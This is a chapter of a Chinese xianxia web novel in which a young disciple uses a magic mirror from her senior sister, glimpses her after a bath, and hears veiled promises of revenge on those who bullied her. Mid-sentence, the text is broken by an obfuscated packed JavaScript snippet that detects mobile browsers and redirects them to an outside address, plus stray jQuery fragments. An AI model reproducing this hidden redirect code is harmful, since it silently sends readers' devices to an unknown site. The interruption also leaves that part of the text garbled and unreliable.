7. 第 7 章

作品:《师姐好像要灭世

    祈枝刚一回到自己的小院,就要死不活地扑倒在了床上。


    刚离开岁寒殿时的那份兴奋,就像是一种回光返照,彻夜未眠的小草到底是没精神多会儿就蔫儿在半道上了。


    缩进被窝的那一刻,她只希望今日不要再有什么活儿找上来了。


    不过她的生活里,事与愿违是一种常态,所以她也没觉得自己能偷闲多久,刚钻进被窝便争分夺秒地入了梦。


    祈枝没想到,她这一觉竟是睡得意外安稳,醒来已是落日时分,期间竟完全没人来过。


    她裹着被子坐在床上,看着窗外安静的风铃,天边泛红的层云,心底不由生出了一种今天过得特别不真切的感觉。


    祈枝不知道,其实今日还是有人来的。


    有些人昨日丢了面子,今日自然是要找点破事儿来折腾她的。


    但他先后知会了几个狗腿子先后过来给小师妹安排累活,最终却是连一个敢走进这间小院的都没有。


    原因很简单,他们看见了一只白首灰背的小鸟。


    它很安静,不动也不叫,就那么背着翅膀,静静地立在院门上闭目养神,谁敢靠近就睁开一双豆豆眼瞪谁。


    天道门中谁还不知道这小家伙是慕轻时的灵兽?


    它如今那么往那一站,和慕轻时亲自守在门口又有什么区别?


    就算对付一只小鸟很容易,那也没人敢轻易得罪岁寒殿的那一位啊。


    而且别说,真别说,这小毛球眼睛那么一瞪,脑袋那么一歪,看上去还怪有威慑力的。


    只是祈枝醒来的时候,它已经拍拍翅膀回去复命了。


    所以院子依旧是那个安静的院子,仿佛从未有人来过。


    夕阳就快落尽,祈枝伸了一个大大的懒腰,洗漱过后,为自己煮了一碗素面。


    吃完面条,洗完碗筷,窗外天色渐暗,她又懒洋洋地躺回了床上。


    巴掌大的小镜子静静放在枕边,短暂静默后,被她一个翻身捞到了手里。


    祈枝在山中待了五百年,连一个并不算稀罕的乾坤袋都需要向人借用,说出去只怕没人相信,这面镜子其实是她人生中拥有的第一件法器。


    而这个第一件法器,是师姐特意让阿云去山下寻来送给她的。


    只要一想到这个,她便开心得合不拢嘴。


    外头的天色都暗下来了,也不知慕师姐现在在做什么……


    祈枝好奇地想着,忍不住在指尖凝出一点微弱的灵力,小心翼翼,轻点镜面。


    镜中画面渐渐显现出来。


    一半似被什么遮住了,隐隐透着些许烛火的微光。


    另一半也是昏暗的,镜面上起了一层水雾,只隐约能够看见顶上木质的房梁,与旁侧立着的半扇屏风。


    烛光在屋中轻轻晃动着,似是能够牵动屏风上静默的梅。


    师姐这是把镜子扔哪儿了?


    祈枝抱着镜子左看右看,半天都没能看明白,刚想要试着开口唤一下师姐,便听得镜子那头响起了一阵不太清晰的水声。


    而后,似是有人出浴的声音。


    水滴哒哒坠着,或滴在地上,或落回水中。


    祈枝下意识捂住了嘴。


    下一秒,屏风之后,多了一道纤长而又柔和的轮廓。


    浴后未散的热气,如烟似雾地萦在她的身侧,每一次微小的动作,都于那昏暗烛光中摇曳得影影绰绰。


    似是梦中一抹触之即破的幻影,让人看不真切。


    她抬手将长发拢至肩后,带起一阵极其轻柔的雾气,湿漉的长发将水珠溅上屏风,沿着银线的绣花枝如朝露般向下滑坠。


    祈枝不由呼吸一滞,乱了心神。


    待到回过神时,慕轻时已然站在镜边。


    她身上只披着一层单衣,轻薄的衣料紧贴着湿润的肌肤,勾勒着平日不曾显露的柔美曲线。


    她略一俯身,一缕碎发自鬓边向前垂落,坠下一滴水珠,于半块镜面之上重重跌碎。


    隔着一层水雾,祈枝似是对上了那一双幽静的眸。


    一瞬的心虚,让她慌忙切断了镜象,用力将差点害她犯大错的镜面狠狠摁进了胸口。


    那一瞬的呼吸是慌乱的,许久方才慢慢平复下来。


    祈枝想,她催动镜子的时机或多或少有点不太对劲了。


    所幸对影镜被催动时的声音虽是双向传递的,画面却只是单向的,需得两面镜子同时被灵力催动,才能做到双向显象。


    师姐刚才神色如常,应是什么都没有发现。


    祈枝这般想着,用力晃了晃脑袋,小脸羞红地缩进了被窝。


    ……


    慕轻时推开了遮住半边镜面的衣物,眉眼低垂,凝视着那一面小小的镜子。


    良久,拈起一处干净的衣角,轻轻拭去了镜面的水雾。


    她的师妹方才“来过”,雾下那一抹稍纵即逝的绿,似还携了些许慌乱,都在那一瞬被她尽数看在了眼里。


    她下意识想要伸手触碰,却最终只碰到了一片漆黑。


    镜子那头,传来了一阵又闷又细的怪动静。


    等到镜象再次出现时,那面镜子已被师妹又一次丢回了枕边,除了几根散乱的发丝,便只剩下一处空荡荡的房顶。


    那丫头心向来很大,此刻估计又睡下了。


    慕轻时披上外衣,坐在镜边多等了一会儿,再没等到旁的动静,一时合上双眼,无声轻叹。


    末了,她将镜子拂入袖中,起身走至屋外。


    落日余晖已淡,阿云在树梢上团成小小一个,也不知是不是睡着了。


    除却风声,整个岁寒殿都是静默的。


    她忽然很不喜欢这样的静默,于是摧了几处梅枝,转身向殿外行去。


    阿云被这突如其来的一阵动静吓了一跳,扭着脑袋往后看了一眼。


    见慕轻时只是独自离去,并没有吩咐自己什么,便又缩起身子,睡起了自己的大觉。


    *


    自从某一次看到了些不该看的画面后,祈枝虽是止不住地在心底回味了不知多少次,却还是老老实实,本本分分地自己学了个乖。


    为了避免同样的事情再次发生,她每次催动对影镜前都会倒扣镜面,将声音先传过去问问情况,再翻转镜面去看。


    有了这面镜子,她什么时候想和师姐说说话,都可以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971331|193452||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    试着问问师姐是否有空。


    而慕轻时似乎总是有空的,无论她在什么时间与她通话,都会在很短的时间内收到回音。


    有时祈枝也会担心,自己这样频频叨扰师姐,会不会让师姐感到困扰?


    不过转念一想,师姐灵根已废,此生都不会再有突破,自然也不需要修炼了。


    岁寒殿那么冷清,师姐每日都待在那里没什么事做,只有一个阿云相伴,想来心中很是孤寂。


    四百年来,她总是想着要见师姐,说不定师姐也时常会想要见到她呢?


    她这般一想,便又没了任何心理负担,甚至编了根结实的细绳,将那小镜子系了起来,整日都挂在腰间,只在睡觉时才舍得取下。


    只是今日颇为晦气,她的小镜子被半道偶遇的四师兄看见了,他眼里闪过一丝诧异,靠上前来问了一句:“这玩意儿你哪儿弄来的。”


    四师兄一向要风得风,要雨得雨,夺人所爱也是常有的事。


    祈枝当即用双手护着镜子,眼神满是警惕:“这是二师姐送我的!”


    四师兄听完,冲她翻了个大大的白眼:“送你真是白瞎了。”


    末了,他也没敢多做什么,只是一脸嫌弃地走了。


    祈枝松了口气,没忍住在背后朝他做了一个鬼脸,拳打脚踢了几下空气,奈何动作都还没收好,便被他回身抓了个正着。


    怂怂的小草能伸能屈,在努力稳住身体平衡后,满脸心虚地扭头便往反方向全速开溜。


    “我看你能嚣张到几时!”


    四师兄不悦的声音自身后传来,祈枝只觉莫名其妙。


    她一路小跑到无人之地,靠着一块山石坐下,用一缕灵力催动镜面,将心底这份莫名其妙告诉了慕轻时。她真是烦死四师兄了,总是没来由的对她有那么大恶意。


    慕轻时闻言,轻声问道:“你有想过往后再也不要见到他吗?”


    祈枝听了,抱着镜子认真思考了一会儿。


    “这很难吧。”她小声说着,“除非我也可以像大师兄三师姐那样厉害,离了山门数十年都不用回来一次……”


    “也没有很难。”


    “啊?”祈枝一脸好奇地歪了歪头。


    慕轻时微微颔首,笑得温柔:“你的小花快开了吧?”


    祈枝知道,这在问她灵识之海里的那一朵呢。


    “嗯!”她认真点了点头,“我能感觉到,它很快就要开了!”


    她说着,好像意识到了什么,瞬间眼睛都亮了几分:“等我灵根修复,师姐会带我离山修炼吗?”


    慕轻时没有否认,只是弯着眉眼,静静凝视着她,似是一种默认。


    短暂静默后,忽有雪花随风飘落,祈枝抬眼向头顶望去。


    很快,她站起身来,眼里满是欢喜。


    “师姐你快看,下雪了!”


    “是啊,下雪了。”


    恍然间,又是一年秋去冬来。


    慕轻时看着天边越落越大的初雪,攥紧手中镜子,低声说道:“就快了,师妹。”


    “那些欺负过你的人……”


    “很快就可以,永远都不用再见了。”